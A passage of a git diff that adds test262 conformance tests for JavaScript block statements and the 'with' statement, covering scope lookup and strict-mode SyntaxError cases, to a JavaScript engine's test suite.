+} catch (e) {
+ if (e!=="catchme") {
+ $ERROR('#2.1: Exception === "catchme". Actual: Exception ==='+ e );
+ }
+}
+
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.1/S12.1_A4_T1.js b/js/src/tests/test262/ch12/12.1/S12.1_A4_T1.js
new file mode 100644
index 000000000..8acad6f1c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.1/S12.1_A4_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production Block can't be inside of expression
+ *
+ * @path ch12/12.1/S12.1_A4_T1.js
+ * @description Checking if execution of "y={__func}()" fails
+ * @negative
+ */
+
+function __func(){};
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+y={__func}();
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.1/S12.1_A4_T2.js b/js/src/tests/test262/ch12/12.1/S12.1_A4_T2.js
new file mode 100644
index 000000000..510d6f7b0
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.1/S12.1_A4_T2.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production Block can't be inside of expression
+ *
+ * @path ch12/12.1/S12.1_A4_T2.js
+ * @description Checking if execution of "y={x}" fails
+ * @negative
+ */
+
+x=1;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+y={x};
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.1/S12.1_A5.js b/js/src/tests/test262/ch12/12.1/S12.1_A5.js
new file mode 100644
index 000000000..00356061f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.1/S12.1_A5.js
@@ -0,0 +1,57 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * StatementList: StatementList Statement inside the Block is evaluated from left to right
+ *
+ * @path ch12/12.1/S12.1_A5.js
+ * @description Throwing exceptions within embedded/sequence Blocks
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ throw 1;
+ throw 2;
+ throw 3;
+ $ERROR('1.1: throw 1 lead to throwing exception');
+} catch (e) {
+ if (e!==1) {
+ $ERROR('#1.2: Exception === 1. Actual: Exception ==='+ e);
+ }
+}
+////////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+try {
+ {
+ throw 1;
+ throw 2;
+ }
+ throw 3;
+ $ERROR('#2.1: throw 1 lead to throwing exception');
+} catch (e) {
+ if (e!==1) {
+ $ERROR('#2.2: Exception === 1. Actual: Exception ==='+ e);
+ }
+}
+////////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+try {
+ throw 1;
+ {
+ throw 2;
+ throw 3;
+ }
+ $ERROR('#3.1: throw 1 lead to throwing exception');
+} catch (e) {
+ if (e!==1) {
+ $ERROR('#3.2: Exception === 1. Actual: Exception ==='+ e);
+ }
+}
+////////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.1/browser.js b/js/src/tests/test262/ch12/12.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.1/browser.js
diff --git a/js/src/tests/test262/ch12/12.1/shell.js b/js/src/tests/test262/ch12/12.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.1/shell.js
diff --git a/js/src/tests/test262/ch12/12.10/12.10-0-1.js b/js/src/tests/test262/ch12/12.10/12.10-0-1.js
new file mode 100644
index 000000000..b1da0a5b7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10-0-1.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10-0-1.js
+ * @description with does not change declaration scope - vars in with are visible outside
+ */
+
+
+function testcase() {
+ var o = {};
+ var f = function () {
+ /* capture foo binding before executing with */
+ return foo;
+ }
+
+ with (o) {
+ var foo = "12.10-0-1";
+ }
+
+ return f()==="12.10-0-1"
+
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10-0-10.js b/js/src/tests/test262/ch12/12.10/12.10-0-10.js
new file mode 100644
index 000000000..60e67f5aa
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10-0-10.js
@@ -0,0 +1,28 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10-0-10.js
+ * @description with introduces scope - name lookup finds function parameter
+ */
+
+
+function testcase() {
+ function f(o) {
+
+ function innerf(o, x) {
+ with (o) {
+ return x;
+ }
+ }
+
+ return innerf(o, 42);
+ }
+
+ if (f({}) === 42) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10-0-11.js b/js/src/tests/test262/ch12/12.10/12.10-0-11.js
new file mode 100644
index 000000000..183ee45f7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10-0-11.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10-0-11.js
+ * @description with introduces scope - name lookup finds inner variable
+ */
+
+
+function testcase() {
+ function f(o) {
+
+ function innerf(o) {
+ var x = 42;
+
+ with (o) {
+ return x;
+ }
+ }
+
+ return innerf(o);
+ }
+
+ if (f({}) === 42) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10-0-12.js b/js/src/tests/test262/ch12/12.10/12.10-0-12.js
new file mode 100644
index 000000000..a2a22518b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10-0-12.js
@@ -0,0 +1,28 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10-0-12.js
+ * @description with introduces scope - name lookup finds property
+ */
+
+
+function testcase() {
+ function f(o) {
+
+ function innerf(o) {
+ with (o) {
+ return x;
+ }
+ }
+
+ return innerf(o);
+ }
+
+ if (f({x:42}) === 42) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10-0-3.js b/js/src/tests/test262/ch12/12.10/12.10-0-3.js
new file mode 100644
index 000000000..22d67781e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10-0-3.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10-0-3.js
+ * @description with introduces scope - that is captured by function expression
+ */
+
+
+function testcase() {
+ var o = {prop: "12.10-0-3 before"};
+ var f;
+
+ with (o) {
+ f = function () { return prop; }
+ }
+ o.prop = "12.10-0-3 after";
+ return f()==="12.10-0-3 after"
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10-0-7.js b/js/src/tests/test262/ch12/12.10/12.10-0-7.js
new file mode 100644
index 000000000..0f780d59e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10-0-7.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10-0-7.js
+ * @description with introduces scope - scope removed when exiting with statement
+ */
+
+
+function testcase() {
+ var o = {foo: 1};
+
+ with (o) {
+ foo = 42;
+ }
+
+ try {
+ foo;
+ }
+ catch (e) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10-0-8.js b/js/src/tests/test262/ch12/12.10/12.10-0-8.js
new file mode 100644
index 000000000..613734890
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10-0-8.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10-0-8.js
+ * @description with introduces scope - var initializer sets like named property
+ */
+
+
+function testcase() {
+ var o = {foo: 42};
+
+ with (o) {
+ var foo = "set in with";
+ }
+
+ return o.foo === "set in with";
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10-0-9.js b/js/src/tests/test262/ch12/12.10/12.10-0-9.js
new file mode 100644
index 000000000..746542ffa
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10-0-9.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10-0-9.js
+ * @description with introduces scope - name lookup finds outer variable
+ */
+
+
+function testcase() {
+ function f(o) {
+ var x = 42;
+
+ function innerf(o) {
+ with (o) {
+ return x;
+ }
+ }
+
+ return innerf(o);
+ }
+
+ if (f({}) === 42) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10-2-1.js b/js/src/tests/test262/ch12/12.10/12.10-2-1.js
new file mode 100644
index 000000000..3ba1eb1eb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10-2-1.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10-2-1.js
+ * @description with - expression being Number
+ */
+
+
+function testcase() {
+ var o = 2;
+ var foo = 1;
+ try
+ {
+ with (o) {
+ foo = 42;
+ }
+ }
+ catch(e)
+ {
+ }
+ return true;
+
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10-2-2.js b/js/src/tests/test262/ch12/12.10/12.10-2-2.js
new file mode 100644
index 000000000..a4de02221
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10-2-2.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10-2-2.js
+ * @description with - expression being Boolean
+ */
+
+
+function testcase() {
+ var o = true;
+ var foo = 1;
+ try
+ {
+ with (o) {
+ foo = 42;
+ }
+ }
+ catch(e)
+ {
+ }
+ return true;
+
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10-2-3.js b/js/src/tests/test262/ch12/12.10/12.10-2-3.js
new file mode 100644
index 000000000..07003092c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10-2-3.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10-2-3.js
+ * @description with - expression being string
+ */
+
+
+function testcase() {
+ var o = "str";
+ var foo = 1;
+ try
+ {
+ with (o) {
+ foo = 42;
+ }
+ }
+ catch(e)
+ {
+ }
+ return true;
+
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10-7-1.js b/js/src/tests/test262/ch12/12.10/12.10-7-1.js
new file mode 100644
index 000000000..6292efd97
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10-7-1.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10-7-1.js
+ * @description with introduces scope - restores the earlier environment on exit
+ */
+
+
+function testcase() {
+ var a = 1;
+
+ var o = {a : 2};
+ try
+ {
+ with (o) {
+ a = 3;
+ throw 1;
+ a = 4;
+ }
+ }
+ catch(e)
+ {}
+
+ if (a === 1 && o.a === 3) {
+ return true;
+ }
+
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-1-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-1-s.js
new file mode 100644
index 000000000..3c042e412
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-1-s.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-1-s.js
+ * @description with statement in strict mode throws SyntaxError (strict function)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ try {
+ // wrapping it in eval since this needs to be a syntax error. The
+ // exception thrown must be a SyntaxError exception.
+ eval("\
+ function f() {\
+ \'use strict\';\
+ var o = {}; \
+ with (o) {};\
+ }\
+ ");
+ return false;
+ }
+ catch (e) {
+ return(e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-10-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-10-s.js
new file mode 100644
index 000000000..4e470b517
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-10-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-10-s.js
+ * @description with statement in strict mode throws SyntaxError (eval, where the container function is strict)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ // wrapping it in eval since this needs to be a syntax error. The
+ // exception thrown must be a SyntaxError exception. Note that eval
+ // inherits the strictness of its calling context.
+ try {
+ eval("\
+ var o = {};\
+ with (o) {}\
+ ");
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-11-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-11-s.js
new file mode 100644
index 000000000..3c4e81daa
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-11-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-11-s.js
+ * @description Strict Mode - SyntaxError is thrown when using WithStatement in strict mode code
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("with ({}) { throw new Error();}");
+
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-11gs.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-11gs.js
new file mode 100644
index 000000000..b40b37236
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-11gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-11gs.js
+ * @description Strict Mode - SyntaxError is thrown when using with statement
+ * @onlyStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+"use strict";
+throw NotEarlyError;
+with ({}) { }
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-12-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-12-s.js
new file mode 100644
index 000000000..0f327297d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-12-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-12-s.js
+ * @description with statement in strict mode throws SyntaxError (strict eval)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ try {
+ eval("\
+ 'use strict'; \
+ var o = {}; \
+ with (o) {}\
+ ");
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError) ;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-13-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-13-s.js
new file mode 100644
index 000000000..39d56659e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-13-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-13-s.js
+ * @description Strict Mode - SyntaxError isn't thrown when WithStatement body is in strict mode code
+ * @noStrict
+ */
+
+
+function testcase() {
+ with ({}) {
+ "use strict";
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-14-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-14-s.js
new file mode 100644
index 000000000..0e7e685b7
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-14-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-14-s.js
+ * @description Strict Mode - SyntaxError is thrown when the getter of a literal object utilizes WithStatement
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var obj = { get: function (a) { with(a){} } }; ");
+
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-15-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-15-s.js
new file mode 100644
index 000000000..8621631f6
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-15-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-15-s.js
+ * @description Strict Mode - SyntaxError is thrown when the RHS of a dot property assignment utilizes WithStatement
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var obj = {}; obj.get = function (a) { with(a){} }; ");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-16-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-16-s.js
new file mode 100644
index 000000000..e798b5715
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-16-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-16-s.js
+ * @description Strict Mode - SyntaxError is thrown when the RHS of an object indexer assignment utilizes WithStatement
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ "use strict";
+
+ try {
+ eval("var obj = {}; obj['get'] = function (a) { with(a){} }; ");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-2-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-2-s.js
new file mode 100644
index 000000000..211a1386e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-2-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-2-s.js
+ * @description with statement in strict mode throws SyntaxError (nested function where container is strict)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ try {
+ // wrapping it in eval since this needs to be a syntax error. The
+ // exception thrown must be a SyntaxError exception.
+ eval("\
+ function foo() {\
+ \'use strict\'; \
+ function f() {\
+ var o = {}; \
+ with (o) {};\
+ }\
+ }\
+ ");
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-3-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-3-s.js
new file mode 100644
index 000000000..8b0d2961b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-3-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-3-s.js
+ * @description with statement in strict mode throws SyntaxError (nested strict function)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ try {
+ // wrapping it in eval since this needs to be a syntax error. The
+ // exception thrown must be a SyntaxError exception.
+ eval("\
+ function foo() {\
+ function f() {\
+ \'use strict\'; \
+ var o = {}; \
+ with (o) {};\
+ }\
+ }\
+ ");
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-4-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-4-s.js
new file mode 100644
index 000000000..adb09673b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-4-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-4-s.js
+ * @description with statement in strict mode throws SyntaxError (strict Function)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ try {
+ var f = Function("\
+ \'use strict\'; \
+ var o = {}; \
+ with (o) {};\
+ ");
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-5-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-5-s.js
new file mode 100644
index 000000000..3a1ea1ad8
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-5-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-5-s.js
+ * @description with statement allowed in nested Function even if its container Function is strict)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+
+ Function("\'use strict\'; var f1 = Function( \"var o = {}; with (o) {};\")");
+ return true;
+
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-7-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-7-s.js
new file mode 100644
index 000000000..0ceb2097e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-7-s.js
@@ -0,0 +1,28 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-7-s.js
+ * @description with statement in strict mode throws SyntaxError (function expression, where the container function is directly evaled from strict code)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ 'use strict';
+
+ try {
+ eval("var f = function () {\
+ var o = {}; \
+ with (o) {}; \
+ }\
+ ");
+ return false;
+ }
+ catch (e) {
+ return (e instanceof SyntaxError);
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-8-s.js b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-8-s.js
new file mode 100644
index 000000000..55cfa8e4e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/12.10.1/12.10.1-8-s.js
@@ -0,0 +1,28 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.10/12.10.1/12.10.1-8-s.js
+ * @description with statement in strict mode throws SyntaxError (function expression, where the container Function is strict)
+ * @onlyStrict
+ */
+
+
+function testcase() {
+ try {
+ Function("\
+ \'use strict\'; \
+ var f1 = function () {\
+ var o = {}; \
+ with (o) {}; \
+ }\
+ ");
+ return false;
+ }
+ catch (e) {
